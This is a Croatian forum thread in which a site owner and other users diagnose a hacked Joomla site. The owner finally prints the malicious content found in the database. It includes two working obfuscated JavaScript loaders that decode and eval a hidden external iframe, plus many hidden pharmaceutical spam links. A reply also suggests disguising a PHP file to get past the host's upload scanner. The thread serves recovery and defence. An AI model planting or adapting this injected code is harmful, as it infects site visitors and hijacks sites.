Ulaz u Joomla SPAManje, Trojan Download, Inject

[Sanitarac]

Cijela 2 dana čupam kosu, malo mi je još ostalo pa se tu javljam...

Neznam kako su upali i tko je upao u web no nemogu dokučiti kako ni kuda i kroz što, pronalazim fileove i doslovce čuda svega i svačega pobrisao sve i svašta, no jedan komad je ostalo i izgleda ovako...

Još sam našao 3 file-a koja mi nativirus nije izbrisao.... vjerojatno služe za hackanje passworda il nečeg, da skratimo nisam coder pa teže čitat kod, no možda netko može objasniti i razlučiti te pomoći svima ostalima...

Znači...
mod.php
sok.php i
mod.php su maliciozni hackerski il kak već fajlovi...


Wesbite je sanitarac.com te ima na početnoj injektiran kod koji je u screenshotu, kod je vidljiv samo na početnoj te je trenutno main samo neka druga kategorija....

Skeniranjem preko http://sitecheck.sucuri.net/scanner/ dobivam ovo

Kod [Odaberi] Expand

<div id="4TwG4Sp2BDbLT4sw" style="position: absolute; top: -911px; left: -1369px; width: 366px;"><a href="http://qjfoundation.org/">buy cialis 20mg online</a>

Ako nekom pada nekaj napamet nek piše, ja sam već stvarno gotov, i idem spat....

tnx

P.S.

inače pronađeni su 3 modula koja su instalirana u Joomla-i
system
sys
zetta

svaki od njih izbrisan je sa strane NOD32... detektiran je: PHP/Rst.AK trojanac

[Mislav]

http://forum.joomla.hr/index.php/topic,4075.msg13617.html#msg13617

Obavezno prije pregledaj sve komponente i upgrade-aj ih po potrebi, zatim skeniraj.

[Dario]

Ajd ako nisi pobrisaojoš te fajlove, pošalji mi na privat da možemo razmotriti i ugraditi u JAMMS koji si također možeš skinuti i odskenirati...

[Sanitarac]

Poslani na privat...

jamss.php nemogu uploadati jer mi ga server uredno briše, sad mi resetirali ftp password misleći da sam sebe napadam...  :(

Pluginovi i componente i ostalo se ili briše ili update-a... no bez nekog napredka...

[Dario]

Hvala za skriptu, a ovo da server briše odma je bezveze... Kak da se zaštitiš kad nekaj popraviš ako hosting ne dozvoljava :)
Probaj ga zeznut pa preimenuj taj php u zip, uploadaj i onda na serveru rename-aj natrag u php... Pretpostavljam da skeniraju datoteke (određenog tipa) pri FTP uploadu... Ako neće ni tako onda uploadaj zazipanu skriptu i probaj raspakirati putem cPanel-a.

[alanzz]

Evo moj savjet, prošao sam sa hakerskim napadima i virusima svašta od ,albanaca do pakistanaca, i mogu reći da bih svakome preporućio OSE Security , jednostavno savršenstvo kako god staru joomlu imali ili "rupe" u extenzijama ovo će vas zaštit. Ako ti je frka mogu ti instalirat ovo za tu stranicu pošto nije ograničeno na koliko stranica smijem instalirat

[Dario]

Ako si kupio ovu komponetu onda si debelo promašio.... OSE ima dobre komponente to nije upitno, ali 100 GBP !??!?!?
5x jeftinije bi prošao da si uzeo sh404SEF koji osim što je daleko najkvalitetnije SEF/SEO komponenta također ima ima i riješen security. Evo konkretno moja prva Joomla 1.0 ikad - živi još dan danas bez ikavih updatenja bilo čega - pokušaja napada kroz ovih 6-7 godina je bilo kolko hoćeš - proboja = 0 :)

[alanzz]

Naravno da imam sh404SEF, ali nemoze se usporediti sa ovime, i nije me zastitio kad su mi u joomli 1.5 svim korisnicima promjenili ime u "sec-w.com" , a korisnikia 600 i nijedan ne moze pristupit stranici...tada sam svasta pokusao i jedina stvar koja je ocistila sva sranja i nakon toga sprijecila sve napade je ova, dvoumio sa se između ovog i RSS firewalla , ali pošto mi je podrška za ovaj zagarantirala da sigurno neću imat problema (osim naravno ako netko mazne ftp i slicno), i kad vidim da je to stvarno tako, tih 100 funti je sitnica.
To što nemaš nikakvih problema sa stranicom sada ,ne znaći da nećeš imat u budućnosti, a sh404SEF nije ono po čemu bih mirno spavao.

[Sanitarac]

Mislim da je vrijeme da krenem na novu J 2.5 ili 3.0
Trenutno mi je problem jer sam započeo nešto raditi na tome sa JUpgrade i lokalno prebacio J2.5 no nikako nemogu dobiti prikaz članaka...
Sve je odrađeno preko K2 komponente i imam članke u adminu no nemam na pregledu...

Ima neko nekakve savjete kako da se to odradi?

Mislim da ću minimalizirati web, samo K2, Joomla i ostalo mi ništa ni netreba....

Hvala svima na ponudama i savjetima, teško je ovako riješiti stvari još me i hosting j**e sa svojim security postavkama....
Lokalno odraditi upgrade na j2.5 no taj problem neznam riješiti... ako netko ima info nek javi....

Tnx

[Sanitarac]

Samo da javim rješenje problematike...

U samoj bazi se nalazilo ovo dolje navedeno pod `jos_content`

Kod [Odaberi] Expand

<p> <script>try{window.document.body%=2}catch(dgsgsdg){zz=12*2+1+1;whwej=12;ww=window;}if(whwej){try{f=document.createElement("div");}catch(agdsg){whwej=0;}try{document.body--;}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","3j","3m","1k","3p","47","47","3p","44","3n","3l","44","41","3l","43","1k","41","46","3o","47","1l","2b","4c","4a","3j","4e","3n","44","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","3j","3m","1k","3p","47","47","3p","44","3n","3l","44","41","3l","43","1k","41","46","3o","47","1l","2b","4c","4a","3j","4e","3n","44","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(whwej){for(i=0;i-636!=0;i++){k=i;s+=String["fro"+"mC"+"harCode"](parseInt(n[i],zz));}z=s;ww["eval"](s);}}}}</script>
<p> <script>ss=String["fro"+"mC"+"harCode"];try{document.body|=1}catch(dgsgsdg){zz=12*2+1+1;whwej=12;ww=window;}if(whwej){try{}catch(agdsg){whwej=0;}try{document.body--;}catch(bawetawe){if(ww.document){v=window;n=["9","9","41","3o","16","1e","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1f","4j","d","9","9","9","41","3o","4a","3j","45","3n","4a","1e","1f","27","d","9","9","4l","16","3n","44","4b","3n","16","4j","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","4f","4a","41","4c","3n","1e","18","28","41","3o","4a","3j","45","3n","16","4b","4a","3l","29","1d","40","4c","4c","48","26","1l","1l","4c","4a","4d","4b","4c","3l","47","46","46","3n","3l","4c","4b","1k","41","46","3o","47","1l","2b","4c","4a","3j","4e","3n","44","1d","16","4f","41","3m","4c","40","29","1d","1n","1m","1m","1d","16","40","3n","41","3p","40","4c","29","1d","1n","1m","1m","1d","16","4b","4c","4h","44","3n","29","1d","4f","41","3m","4c","40","26","1n","1m","1m","48","4g","27","40","3n","41","3p","40","4c","26","1n","1m","1m","48","4g","27","48","47","4b","41","4c","41","47","46","26","3j","3k","4b","47","44","4d","4c","3n","27","4e","41","4b","41","3k","41","44","41","4c","4h","26","40","41","3m","3m","3n","46","27","44","3n","3o","4c","26","1j","1n","1m","1m","1m","1m","48","4g","27","4c","47","48","26","1m","27","1d","2a","28","1l","41","3o","4a","3j","45","3n","2a","18","1f","27","d","9","9","4l","d","9","9","3o","4d","46","3l","4c","41","47","46","16","41","3o","4a","3j","45","3n","4a","1e","1f","4j","d","9","9","9","4e","3j","4a","16","3o","16","29","16","3m","47","3l","4d","45","3n","46","4c","1k","3l","4a","3n","3j","4c","3n","2h","44","3n","45","3n","46","4c","1e","1d","41","3o","4a","3j","45","3n","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4b","4a","3l","1d","1i","1d","40","4c","4c","48","26","1l","1l","4c","4a","4d","4b","4c","3l","47","46","46","3n","3l","4c","4b","1k","41","46","3o","47","1l","2b","4c","4a","3j","4e","3n","44","1d","1f","27","3o","1k","4b","4c","4h","44","3n","1k","44","3n","3o","4c","29","1d","1j","1n","1m","1m","1m","1m","48","4g","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4e","41","4b","41","3k","41","44","41","4c","4h","29","1d","40","41","3m","3m","3n","46","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","4c","4h","44","3n","1k","48","47","4b","41","4c","41","47","46","29","1d","3j","3k","4b","47","44","4d","4c","3n","1d","27","3o","1k","4b","4c","4h","44","3n","1k","4c","47","48","29","1d","1m","1d","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","4f","41","3m","4c","40","1d","1i","1d","1n","1m","1m","1d","1f","27","3o","1k","4b","3n","4c","2d","4c","4c","4a","41","3k","4d","4c","3n","1e","1d","40","3n","41","3p","40","4c","1d","1i","1d","1n","1m","1m","1d","1f","27","d","9","9","9","3m","47","3l","4d","45","3n","46","4c","1k","3p","3n","4c","2h","44","3n","45","3n","46","4c","4b","2e","4h","36","3j","3p","30","3j","45","3n","1e","1d","3k","47","3m","4h","1d","1f","3d","1m","3f","1k","3j","48","48","3n","46","3m","2f","40","41","44","3m","1e","3o","1f","27","d","9","9","4l"];h=2;s="";if(whwej){for(i=0;i-634!=0;i++){k=i;s+=ss(parseInt(n[i],zz));}z=s;ww["eval"](""+s);}}}}</script>

Kod [Odaberi] Expand

<div id="2nweXrkXPaD6eMBx1GKSyXve9" style="position: absolute; top: -1369px; left: -965px; width: 263px;"><a href="http://elisazied.com/">buy cialis 10mg online</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="4TwG4Sp2BDbLT4sw" style="position: absolute; top: -911px; left: -1369px; width: 366px;"><a href="http://qjfoundation.org/">buy cialis 20mg online</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="UVnrxeJxCuCx0JkHni9R9ZZyXv" style="position: absolute; top: -1180px; left: -1258px; width: 254px;"><a href="http://lawandeverydaylife.com/">viagra online here</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="jWTbH22yPs" style="position: absolute; top: -1005px; left: -1232px; width: 267px;"><a href="http://buyviagra2013usa.com">buy viagra</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="Kqp1Vax5MtgKfDr" style="position: absolute; top: -883px; left: -1140px; width: 353px;"><a href="http://buyviagrapingwin2013.com/">buy brand viagra</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="4O5nWZ" style="position: absolute; top: -1393px; left: -750px; width: 277px;"><a href="http://franceviagracom2013.com">sildenafil viagra</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="guNwi9Rm0Mlw30opql" style="position: absolute; top: -820px; left: -1284px; width: 389px;"><a href="http://cialis-france-2013.fr">cialis generique</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="LCgXwTvyINVblW1tQ7PHt" style="position: absolute; top: -856px; left: -764px; width: 224px;"><a href="http://buycialis2013.com">cialis online</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div id="lJ5zHmin7D" style="position: absolute; top: -923px; left: -1256px; width: 310px;"><a href="http://buyviagra2013.me.uk">buying viagra</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="ZcIdNLSIaQ5BO9psFH4T" style="position: absolute; top: -1453px; left: -1429px; width: 285px;"><a href="http://viagra2013usa.com">lowest price</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="A73KtxvTjwPQ" style="position: absolute; top: -837px; left: -818px; width: 308px;"><a href="http://eurodrugstore2013.com/products/viagra.htm">viagra</a>
<p>&nbsp;</p>
</div>
<p>&nbsp;</p>
<div id="BQnH80gR43" style="position: absolute; top: -1077px; left: -876px; width: 359px;"><a href="http://viagra-france-mg.com">viagra</a></div>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<div id="TdkUKu8TDkC" style="position: absolute; top: -989px; left: -1195px; width: 366px;"><a href="http://buyviagrausa2013.com">viagra</a>
<p>&nbsp;</p>
</div>

[Dario]

dakle netko ti inject-ao JS u bazu... skroz čudno, što bi značilo da nije došlo kroz Joomlu nego neku loše napisanu komponentu/modul/plugin.....

[Sanitarac]

Da, vidiš... tko bi se tome nadao, tamo nisam ni gledao jer mi nije bilo ni na kraj pameti....

No dobro, ovo je fina škola pa eto radi se na upgrade i migraciji na J2.5 ciljanom korištenju pluginova i komponenti a ne nekom isprobavanju pa se zaboravi i slično...

Baš sam si riješio problem tokom migracije pa eto baci oko  ;)  http://forum.joomla.hr/index.php/topic,4198.msg14118.html#new